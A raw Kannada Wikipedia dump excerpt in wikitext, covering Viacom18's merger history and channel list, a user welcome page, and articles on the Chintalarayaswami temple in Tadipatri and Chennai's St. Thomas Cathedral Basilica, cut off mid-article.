Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು == === ಪ್ರಸಾರ ವಾಹಿನಿಗಳು === ಟಿವಿ 18 ನಿಂದ ಲಭ್ಯವಿರುವ ವಿತರಣಾ ಚಾನಲ್‌ಗಳು ಈ ಕೆಳಗಿನಂತಿವೆ: <ref>{{Cite web|url=https://www.viacom18.com/onair/|title=Our Channels - On Air|website=viacom18.com}}</ref> {| class="wikitable sortable" style="text-align:middle;" ! style="width:180pt; background:White;" |ಚಾನಲ್ ! style="width:180pt; background:Violet;" |ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ ! style="width:180pt; background:White;" |ಭಾಷೆ ! style="width:300pt; background:Violet;" |ವರ್ಗ ! style="width:180pt; background:White;" |SD/HD ಲಭ್ಯತೆ ! style="width:300pt; background:Violet;" |ಟಿಪ್ಪಣಿಗಳು |- |ಕಲರ್ಸ್ ಟಿವಿ |2008 | rowspan="8" |[[ಹಿಂದಿ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |- |ಕಲರ್ಸ್ ರಿಷ್ಟೆ |2014 |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ |2016 | rowspan="3" |ಚಲನಚಿತ್ರಗಳು |SD+HD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ |2021 | rowspan="2" |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್‌ಹಿಟ್ಸ್ |2022 | |- |ಎಂಟಿವಿ |1996 |ಯುವ ಜನ | rowspan="2" |SD+HD | |- |ಎಂಟಿವಿ ಬೀಟ್ಸ್ |2014 |ಸಂಗೀತ | |- |ಸ್ಪೋರ್ಟ್ಸ್ 18 ಖೇಲ್ |2022 |ಕ್ರೀಡೆ |SD | |- |ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ |2015 | rowspan="4" |[[ಆಂಗ್ಲ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ | rowspan="4" |SD+HD | |- |ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್ |2012 | |- |ವಿ ಯೆಚ್ 1 |2005 |ಸಂಗೀತ | |- |ಸ್ಪೋರ್ಟ್ಸ್ 18 1 |2022 |ಕ್ರೀಡೆ | |- |ನಿಕೆಲೋಡಿಯನ್ |1999 | rowspan="2" |[[ಹಿಂದಿ]]<br /> [[ತಮಿಳು]]<br /> [[ತೆಲುಗು]]<br /> [[ಮಲಯಾಳಂ]]<br />[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] [[ಮರಾಠಿ]] [[ಗುಜರಾತಿ ಭಾಷೆ|ಗುಜರಾತಿ]][[ಕನ್ನಡ]] | rowspan="4" |ಮಕ್ಕಳು | rowspan="3" |SD | |- |ನಿಕೆಲೋಡಿಯನ್ ಸೋನಿಕ್ |2011 | |- |ನಿಕ್ ಜೂನಿಯರ್ |2012 | rowspan="2" |[[ಹಿಂದಿ]]<br /><br /><br /><br /> [[ಆಂಗ್ಲ]] | |- |ನಿಕ್ HD+ |2015 |ಎಚ್.ಡಿ | |- |ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ |2000 | rowspan="2" |[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ |2019 |ಚಲನಚಿತ್ರಗಳು | rowspan="3" |SD | |- |ಕಲರ್ಸ್ ಗುಜರಾತಿ |2002 | rowspan="2" |[[ಗುಜರಾತಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |ಹಿಂದೆ ETV ಗುಜರಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ |2019 |ಚಲನಚಿತ್ರಗಳು | |- |ಕಲರ್ಸ್ ಮರಾಠಿ |2000 |[[ಮರಾಠಿ]] | rowspan="4" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಮರಾಠಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಒಡಿಯಾ |2002 |[[ಒಡಿಯಾ]] |SD |ಹಿಂದೆ [[ವಿಯಾಕಾಂ 18|ETV ಒಡಿಯಾ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ]] |2000 | rowspan="3" |[[ಕನ್ನಡ]] |SD+HD |ಹಿಂದೆ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಈಟಿವಿ ಕನ್ನಡ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಸೂಪರ್]] |2016 | rowspan="2" |SD | |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ|ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] |2018 |ಚಲನಚಿತ್ರಗಳು | |- |ಕಲರ್ಸ್ ತಮಿಳು |2018 |[[ತಮಿಳು]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |} == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == <span id=".E0.B2.89.E0.B2.B2.E0.B3.8D.E0.B2.B2.E0.B3.87.E0.B2.96.E0.B2.97.E0.B2.B3.E0.B3.81"></span><span class="mw-headline" id="ಉಲ್ಲೇಖಗಳು">ಉಲ್ಲೇಖಗಳು</span> == <style data-mw-deduplicate="TemplateStyles:r1033442">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"></div> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] phglpjywjqgh52l8kl8hxwwbc0wni06 ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:Shashidhar M.G 3 144838 1116466 2022-08-23T13:12:39Z ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ 44987 ಹೊಸ ಬಳಕೆದಾರರ ಸ್ವಾಗತ wikitext text/x-wiki {{ಟೆಂಪ್ಲೇಟು:ಸುಸ್ವಾಗತ|realName=|name=Shashidhar M.G}} -- [[ಸದಸ್ಯ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಚರ್ಚೆ]]) ೧೩:೧೨, ೨೩ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) tncotmpxj4ort0hy302q8oeork8hzvs ಚಿಂತಲರಾಯಸ್ವಾಮಿ ದೇವಾಲಯ 0 144839 1116476 2022-08-23T13:28:27Z Kartikdn 1134 "[[:en:Special:Redirect/revision/1076531957|Chintalarayaswami Temple]]" ಪುಟವನ್ನು ಅನುವಾದಿಸುವುದರಿಂದ ಸೃಷ್ಟಿಸಲಾಯಿತು wikitext text/x-wiki [[ಚಿತ್ರ:Chinthalavenkataramana_Swami_Temple.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Chinthalavenkataramana_Swami_Temple.jpg/220px-Chinthalavenkataramana_Swami_Temple.jpg|thumb| ಚಿಂತಲ ವೆಂಕಟರಮಣ ದೇವಸ್ಥಾನ]] '''ಚಿಂತಲರಾಯಸ್ವಾಮಿ ದೇವಾಲಯ''' ಅಥವಾ '''ಶ್ರೀ ಚಿಂತಲ ವೆಂಕಟರಮಣ ದೇವಸ್ಥಾನ'''ವು [[ಭಾರತ|ಭಾರತದ]] [[ಆಂಧ್ರ ಪ್ರದೇಶ|ಆಂಧ್ರಪ್ರದೇಶ]] ರಾಜ್ಯದ [[ಅನಂತಪುರ್‌ ಜಿಲ್ಲೆ|ಅನಂತಪುರ ಜಿಲ್ಲೆಯ]] ಪಟ್ಟಣವಾದ ತಾಡಿಪತ್ರಿಯಲ್ಲಿರುವ ಒಂದು ಹಿಂದೂ ವೈಷ್ಣವ ದೇವಾಲಯವಾಗಿದೆ.<ref name="chintala1">{{Cite book|url=https://books.google.com/books?id=PqwyDwAAQBAJ&q=Chintala+Venkataramana+Temple&pg=PA109|title=Poverty Alleviation Through Self-Help Groups in Anantapur District of Andhra Pradesh|publisher=Anchor Academic Publishing|year=2017|isbn=9783960671619}}</ref> ಈ ದೇವಾಲಯವು [[ವಿಷ್ಣು|ವಿಷ್ಣುವಿನ]] ರೂಪವಾದ ವೆಂಕಟೇಶ್ವರನಿಗೆ ಸಮರ್ಪಿತವಾಗಿದೆ, ಇವನನ್ನು ಚಿಂತಲ ವೆಂಕಟರಮಣ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref name="nameform">{{Cite book|url=https://books.google.com/books?id=jj_qAAAAMAAJ&q=Chintala+Venkataramana+Temple|title=Guide to Monuments of India|publisher=Viking|year=1989|isbn=9780670806966}}</ref> ಈ ದೇವಾಲಯವನ್ನು ಪೆಮ್ಮಸಾನಿ ನಾಯಕರ ಎರಡನೇ ಪೆಮ್ಮಸಾನಿ ತಿಮ್ಮನಾಯುಡು ನಿರ್ಮಿಸಿದನು. ಇದು ಪಟ್ಟಣದ ಮೂಲಕ ಹರಿಯುವ ಪೆನ್ನಾ ನದಿಯ ದಡದಲ್ಲಿದೆ.<ref name="chintala1" /> ಈ ದೇವಾಲಯವು ಗ್ರಾನೈಟ್ ಶಿಲ್ಪಗಳನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಭಾರತೀಯ ಪುರಾತತ್ವ ಸರ್ವೇಕ್ಷಣೆ (ASI) ಯಿಂದ ರಾಷ್ಟ್ರೀಯ ಪ್ರಾಮುಖ್ಯದ ಸ್ಮಾರಕಗಳಲ್ಲಿ ಒಂದೆಂದು ವರ್ಗೀಕರಿಸಲಾಗಿದೆ. ಈ ದೇವಾಲಯವು ಹಂಪಿಯ ವಿಠಲ ದೇವಾಲಯದಲ್ಲಿ ಕಂಡುಬರುವ ರಥವನ್ನು ಹೋಲುವ ತಿರುಗುವ ಗ್ರಾನೈಟ್ ಚಕ್ರಗಳುಳ್ಳ ರಥವಾಗಿ ನಿರ್ಮಿಸಲಾದ ''ಗರುಡ ಮಂಟಪ''ವನ್ನು ಹೊಂದಿದೆ. == ವ್ಯುತ್ಪತ್ತಿ == ದಂತಕಥೆಯ ಪ್ರಕಾರ, ಪ್ರಧಾನ ದೇವತೆ ವೆಂಕಟೇಶ್ವರನು ಹುಣಸೆ ([[ತೆಲುಗು]] : ಚಿಂತಾ) ಮರದಲ್ಲಿ ಸಿಕ್ಕನು ಮತ್ತು ಆದ್ದರಿಂದ ಚಿಂತಲ ವೆಂಕಟರಮಣ ಎಂಬ ಹೆಸರು ಬಂದಿದೆ.<ref name="nameform">{{Cite book|url=https://books.google.com/books?id=jj_qAAAAMAAJ&q=Chintala+Venkataramana+Temple|title=Guide to Monuments of India|publisher=Viking|year=1989|isbn=9780670806966}}<cite class="citation book cs1" data-ve-ignore="true">[https://books.google.com/books?id=jj_qAAAAMAAJ&q=Chintala+Venkataramana+Temple ''Guide to Monuments of India'']. Viking. 1989. [[ಅಂತರಾಷ್ಟ್ರೀಯ ದರ್ಜೆಯ ಪುಸ್ತಕ ಸಂಖ್ಯೆ|ISBN]]&nbsp;[[Special:BookSources/9780670806966|<bdi>9780670806966</bdi>]].</cite></ref> == ಇತಿಹಾಸ == ಈ ದೇವಾಲಯವನ್ನು [[ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯ|ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯದ]] ಆಳ್ವಿಕೆಯಲ್ಲಿ 16 ನೇ ಶತಮಾನದ ಮಧ್ಯದಲ್ಲಿ,<ref name="architecture">{{Cite book|url=https://books.google.com/books?id=W6bphUvvPf4C&q=Chintala+Venkataramana+Temple&pg=PR11|title=Architecture and Art of Southern India: Vijayanagara and the Successor States 1350-1750|publisher=Cambridge University Press|year=1995|isbn=9780521441100}}</ref> ವೀರ ನರಸಿಂಹರಾಯ ಮತ್ತು [[ಕೃಷ್ಣದೇವರಾಯ|ಕೃಷ್ಣದೇವರಾಯರ]] ಸಮಕಾಲೀನನಾದ ಪೆಮ್ಮಸಾನಿ ತಿಮ್ಮನಾಯುಡು II ನಿರ್ಮಿಸಿದನು.<ref>{{Citation|last=Sriramamurty|first=Y.|title=Studies in the History of the Telugu country during the Vijayanagara period 1336 to 1650 A D|date=1973|page=272|chapter=The Pemmasani Family|chapter-url=https://shodhganga.inflibnet.ac.in/bitstream/10603/107988/10/10_chapter%206.pdf|publisher=Karnatak University/Shodhganga}}</ref><ref>{{Citation|last=Ramaswami|first=N.S|title=Temples of Tadpatri|date=1975|url=https://archive.org/details/in.gov.ignca.63415?q=temples+of+tadipatri|page=10–11|publisher=Govt. of Andhra Pradesh}}</ref> ತಾಡಿಪತ್ರಿಯಲ್ಲಿ ತನಗೆ ದೇವಾಲಯ ನಿರ್ಮಿಸಬೇಕೆಂದು [[ವಿಷ್ಣು]] ಕನಸಿನಲ್ಲಿ ತಿಮ್ಮನಾಯುಡುಗೆ ಹೇಳಿದ ನಂತರ ತಿಮ್ಮನಾಯುಡು ಈ ದೇವಾಲಯವನ್ನು ನಿರ್ಮಿಸಿದನು. ತಿಮ್ಮನಾಯುಡು ಇಬ್ಬರು ಅರ್ಚಕರು ಮತ್ತು ಒಬ್ಬ ಮುಖ್ಯ ಅರ್ಚಕನನ್ನು ನೇಮಿಸಿದನು ಮತ್ತು ದೇವಾಲಯಕ್ಕೆ ಭೂಮಿಯನ್ನು ಉಡುಗೊರೆಯಾಗಿ ನೀಡಿದನು. ಚಿಂತಲರಾಯಸ್ವಾಮಿ ದೇವಾಲಯವನ್ನು ವಿಜಯನಗರ ವಾಸ್ತುಕಲೆಯ ಅತ್ಯುತ್ತಮ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ ಪರಿಗಣಿಸಲಾಗಿದೆ.<ref name=":3" /> ಆರಂಭಿಕ ರಚನೆಯು ಸಾಳುವ ರಾಜವಂಶಕ್ಕೆ ಸೇರಿರಬಹುದು, ಆದರೆ ಪ್ರವೇಶ ಗೋಪುರಗಳು ತುಳುವ ರಾಜವಂಶಕ್ಕೆ ಸೇರಿವೆ.<ref name="architecture" /> ದೇವಾಲಯವನ್ನು ದ್ರಾವಿಡ ಶೈಲಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದೆ.<ref name="architecture">{{Cite book|url=https://books.google.com/books?id=W6bphUvvPf4C&q=Chintala+Venkataramana+Temple&pg=PR11|title=Architecture and Art of Southern India: Vijayanagara and the Successor States 1350-1750|publisher=Cambridge University Press|year=1995|isbn=9780521441100}}<cite class="citation book cs1" data-ve-ignore="true">[https://books.google.com/books?id=W6bphUvvPf4C&q=Chintala+Venkataramana+Temple&pg=PR11 ''Architecture and Art of Southern India: Vijayanagara and the Successor States 1350-1750'']. Cambridge University Press. 1995. [[ಅಂತರಾಷ್ಟ್ರೀಯ ದರ್ಜೆಯ ಪುಸ್ತಕ ಸಂಖ್ಯೆ|ISBN]]&nbsp;[[Special:BookSources/9780521441100|<bdi>9780521441100</bdi>]].</cite></ref> == ಛಾಯಾಂಕಣ == <gallery> ಚಿತ್ರ:Chintalarayaswami Temple-Dr. Murali Mohan Gurram (1).jpg|ವಿಮಾನಗಳೊಂದಿಗೆ ಚಿಂತಲರಾಯ ದೇವಾಲಯ ಚಿತ್ರ:INTRICATE STONE ART,TADPATRI,AP - panoramio.jpg|ಯಾಳಿ ಸವಾರಿ ಮಾಡುತ್ತಿರುವ ವ್ಯಕ್ತಿಯೊಂದಿಗೆ ಬೃಹತ್ ಕಂಬ ಚಿತ್ರ:Chintalarayaswami Temple-Dr. Murali Mohan Gurram (8).jpg|ಶಿಲ್ಪಗಳನ್ನು ಹೊಂದಿರುವ ಗೋಡೆ ಚಿತ್ರ:NARTAKA MUDRA VENKATRAMANA TEMPLE TADPATRI AP - panoramio.jpg|ನರ್ತಕಿ ಮುದ್ರೆ ಚಿತ್ರ:Chintalarayaswami Temple-Dr. Murali Mohan Gurram (6).jpg|ದೇವತೆಯನ್ನು ಚಿತ್ರಿಸುವ ವಿಗ್ರಹ ಚಿತ್ರ:Elephants,tadpatri temple AP - panoramio.jpg|ಆನೆಗಳು </gallery> == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ಆಂಧ್ರ ಪ್ರದೇಶ]] [[ವರ್ಗ:ದೇವಾಲಯಗಳು]] rxnbe2ivgp9i316u3w39dgglxcv5a7c ಸೇಂಟ್ ಥಾಮಸ್ ಕಥೀಡ್ರಲ್ ಬಸಿಲಿಕಾ 0 144840 1116488 2022-08-23T14:10:18Z Kartikdn 1134 "[[:en:Special:Redirect/revision/1106070343|St. Thomas Cathedral Basilica, Chennai]]" ಪುಟವನ್ನು ಅನುವಾದಿಸುವುದರಿಂದ ಸೃಷ್ಟಿಸಲಾಯಿತು wikitext text/x-wiki [[ಚಿತ್ರ:SANTHOME CATHEDRAL.jpg|thumb]] '''ಸ್ಯಾನ್ ಥೋಮ್ ಚರ್ಚ್''' ಅಥವಾ '''ಸೇಂಟ್ ಥಾಮಸ್ ಕಥೀಡ್ರಲ್ ಬಸಿಲಿಕಾ''' ಭಾರತದ [[ತಮಿಳುನಾಡು]] ರಾಜ್ಯದ [[ಚೆನ್ನೈ|ಮದ್ರಾಸ್ (ಚೆನ್ನೈ)]] ನ ಸ್ಯಾನ್‍ಥೋಮ್ ಪ್ರದೇಶದಲ್ಲಿರುವ ಒಂದು ಸಣ್ಣ ಬಸಿಲಿಕಾ. ಪ್ರಸ್ತುತ ರಚನೆಯು ಕ್ರಿ.ಪೂ. 1523 ರ ಕಾಲದ್ದು. ಇದನ್ನು ಪೋರ್ಚುಗೀಸರು ಹನ್ನೆರಡು ಯೇಸುದೂತರಲ್ಲಿ ಒಬ್ಬನಾದ ಥಾಮಸ್‍ನ ಸಮಾಧಿಯ ಮೇಲೆ ಪುನರ್ನಿರ್ಮಿಸಿದರು.<ref>[https://www.indiastudychannel.com/resources/143635-Santhome-Basilica-in-Chennai-A-Historical-Pilgrimage.aspx Santhome Basilica in Chennai — A historical pilgrimage] ''indiastudychannel.com''. </ref> 1896 ರಲ್ಲಿ, ಇದನ್ನು [[ಮದ್ರಾಸ್ ಪ್ರೆಸಿಡೆನ್ಸಿ|ಮದ್ರಾಸ್ ಪ್ರಾಂತ್ಯದಲ್ಲಿ]] ನವ-ಗಾಥಿಕ್ ವಿನ್ಯಾಸಗಳ ಪ್ರಕಾರ ನವೀಕರಿಸಲಾಯಿತು. ಪುರಾತನ ಕ್ರಿಶ್ಚಿಯನ್ ಧರ್ಮದ ಏಸುದೂತರ ಯುಗದ ಮೂರು ಚರ್ಚುಗಳಲ್ಲಿ ಇದು ಒಂದಾಗಿದೆ ಮತ್ತು ಒಬ್ಬ ಏಸುದೂತನ ಸಮಾಧಿಗೆ ನೆಲೆಯಾಗಿರುವುದಕ್ಕೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ ಮತ್ತು ಇಂದಿಗೂ ಜಗತ್ತಿನಲ್ಲಿ ನಿಂತಿದೆ. [[ಚಿತ್ರ:SANTHOME_CATHEDRAL.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/0/04/SANTHOME_CATHEDRAL.jpg/220px-SANTHOME_CATHEDRAL.jpg|thumb| ಬ್ರಿಟಿಷರಿಂದ 1896 ರಲ್ಲಿ ಪುನರ್ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್]] == ವಾಸ್ತುಕಲೆ == ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚನ್ನು ಗಾಥಿಕ್ ಪುನರುಜ್ಜೀವನದ ವಾಸ್ತುಕಲಾ ಶೈಲಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಚರ್ಚ್ ತೇಗದ ಮರದಿಂದ ನಿರ್ಮಿಸಿದ ರಿಬ್ ವಾಲ್ಟ್ ಛಾವಣಿಯನ್ನು ಹೊಂದಿದೆ. ಇದನ್ನು 16 ಕಿಟಕಿಗಳು ಮತ್ತು 34 ಬಣ್ಣದ ಗಾಜಿನಿಂದ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಕಥೀಡ್ರಲ್ಲನ್ನು [[ಸಾಗುವಾನಿ|ತೇಗದ ಮರ]], [[ಅಮೃತಶಿಲೆ]] ಮತ್ತು [[ಗ್ರಾನೈಟ್|ಗ್ರಾನೈಟ್‌ನಿಂದ]] ನಿರ್ಮಿಸಲಾಗಿದೆ. ಈ ಚರ್ಚ್‌ನಲ್ಲಿ ಎರಡು ಮಿನಾರುಗಳಿವೆ: * ''ಮೊದಲ ಮಿನಾರು'': ಇದು ಚರ್ಚ್‌ನ ಎಡಭಾಗದಲ್ಲಿ ಗಂಟೆ ಗೋಪುರವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಇದು 147 ಅಡಿ ಎತ್ತರವಾಗಿದೆ ಮತ್ತು ಇದನ್ನು ದೂರದಿಂದಲೂ ನೋಡಬಹುದು. * ''ಎರಡನೇ ಮಿನಾರು'': ಏಸುದೂತ ಸೇಂಟ್ ಥಾಮಸ್‍ನ ಸಮಾಧಿಯನ್ನು ಸೂಚಿಸಲು ಕಥೀಡ್ರಲ್‌ನ ಮಧ್ಯದಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದೆ. 200 ವರ್ಷಗಳಷ್ಟು ಹಳೆಯದಾದ [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಂ|ಬ್ರಿಟಿಷ್]] ಪೈಪ್ ಆರ್ಗನ್ನನ್ನು ಚರ್ಚ್‌ನ ಮಹಡಿಯಲ್ಲಿ ಇರಿಸಲಾಗಿದೆ. ಸಂದರ್ಶಕರು ಚರ್ಚ್‌ನ ನಾರ್ತೆಕ್ಸ್‌ನಲ್ಲಿರುವ ಮೆಟ್ಟಿಲುಗಳನ್ನು ಏರುವ ಮೂಲಕ ಪೈಪ್ ಆರ್ಗನ್ನನ್ನು ನೋಡಬಹುದು. [[ಚಿತ್ರ:Santhome_pipe_organ.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/0/09/Santhome_pipe_organ.jpg/220px-Santhome_pipe_organ.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್‍ನ ಪೈಪ್ ಆರ್ಗನ್]] === ಅವರ್ ಲೇಡಿ ಆಫ್ ಮೈಲಾಪುರ್ === [[ಸಂತ ಮೇರಿ|ಮೇರಿ 